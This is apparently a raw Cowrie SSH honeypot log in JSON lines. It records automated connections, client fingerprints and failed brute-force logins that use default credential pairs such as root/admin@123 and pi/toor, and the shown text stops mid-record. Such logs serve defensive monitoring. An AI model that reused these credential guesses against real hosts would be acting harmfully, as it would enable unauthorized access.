{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:33.567672Z","src_ip":"166.62.89.133","session":"3f891a413fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:33.632556Z","src_ip":"166.62.89.133","session":"3f891a413fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render2024","message":"login attempt [root/render2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:33.827485Z","src_ip":"166.62.89.133","session":"3f891a413fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:34.058166Z","src_ip":"45.156.87.253","session":"111754e2a5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:34.894681Z","src_ip":"166.62.89.133","session":"3f891a413fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46948,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f37289f1a65","protocol":"ssh","message":"New connection: 45.156.87.253:46948 (10.17.0.5:22) [session: 4f37289f1a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:35.991062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:36.068877Z","src_ip":"45.156.87.253","session":"4f37289f1a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:36.226056Z","src_ip":"45.156.87.253","session":"4f37289f1a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:36.472208Z","src_ip":"45.156.87.253","session":"4f37289f1a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:37.555569Z","src_ip":"45.156.87.253","session":"4f37289f1a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54306,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc760b0f10b","protocol":"ssh","message":"New connection: 45.156.87.253:54306 (10.17.0.5:22) [session: cdc760b0f10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:39.535382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:39.539628Z","src_ip":"45.156.87.253","session":"cdc760b0f10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:39.620589Z","src_ip":"45.156.87.253","session":"cdc760b0f10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:39.867915Z","src_ip":"45.156.87.253","session":"cdc760b0f10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:40.993506Z","src_ip":"45.156.87.253","session":"cdc760b0f10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b24572fd86","protocol":"ssh","message":"New connection: 45.156.87.253:54326 (10.17.0.5:22) [session: f7b24572fd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:42.871363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:42.926762Z","src_ip":"45.156.87.253","session":"f7b24572fd86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:43.048465Z","src_ip":"45.156.87.253","session":"f7b24572fd86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:43.292185Z","src_ip":"45.156.87.253","session":"f7b24572fd86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:44.374500Z","src_ip":"45.156.87.253","session":"f7b24572fd86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54346,"dst_ip":"10.17.0.5","dst_port":22,"session":"d15a6173bb8a","protocol":"ssh","message":"New connection: 45.156.87.253:54346 (10.17.0.5:22) [session: d15a6173bb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:46.310244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:46.313475Z","src_ip":"45.156.87.253","session":"d15a6173bb8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:46.394691Z","src_ip":"45.156.87.253","session":"d15a6173bb8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:46.638682Z","src_ip":"45.156.87.253","session":"d15a6173bb8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:47.722540Z","src_ip":"45.156.87.253","session":"d15a6173bb8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51092,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb37a511fb27","protocol":"ssh","message":"New connection: 45.156.87.253:51092 (10.17.0.5:22) [session: bb37a511fb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:49.646913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:49.650822Z","src_ip":"45.156.87.253","session":"bb37a511fb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:49.733627Z","src_ip":"45.156.87.253","session":"bb37a511fb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:49.975564Z","src_ip":"45.156.87.253","session":"bb37a511fb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:51.058518Z","src_ip":"45.156.87.253","session":"bb37a511fb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51096,"dst_ip":"10.17.0.5","dst_port":22,"session":"063c7cc35a50","protocol":"ssh","message":"New connection: 45.156.87.253:51096 (10.17.0.5:22) [session: 063c7cc35a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:52.974324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:52.977504Z","src_ip":"45.156.87.253","session":"063c7cc35a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:53.058071Z","src_ip":"45.156.87.253","session":"063c7cc35a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:53.302968Z","src_ip":"45.156.87.253","session":"063c7cc35a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48340,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a639920be8","protocol":"ssh","message":"New connection: 62.133.62.83:48340 (159.203.135.109:22) [session: f6a639920be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:54.086471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:54.090183Z","src_ip":"62.133.62.83","session":"f6a639920be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:54.173881Z","src_ip":"62.133.62.83","session":"f6a639920be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:54.387067Z","src_ip":"45.156.87.253","session":"063c7cc35a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unlimited","message":"login attempt [root/unlimited] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:54.425058Z","src_ip":"62.133.62.83","session":"f6a639920be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:55.510971Z","src_ip":"62.133.62.83","session":"f6a639920be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.131.27","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43099976d86","protocol":"ssh","message":"New connection: 118.145.131.27:40124 (10.17.0.5:22) [session: f43099976d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:55.557199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:55.577546Z","src_ip":"118.145.131.27","session":"f43099976d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-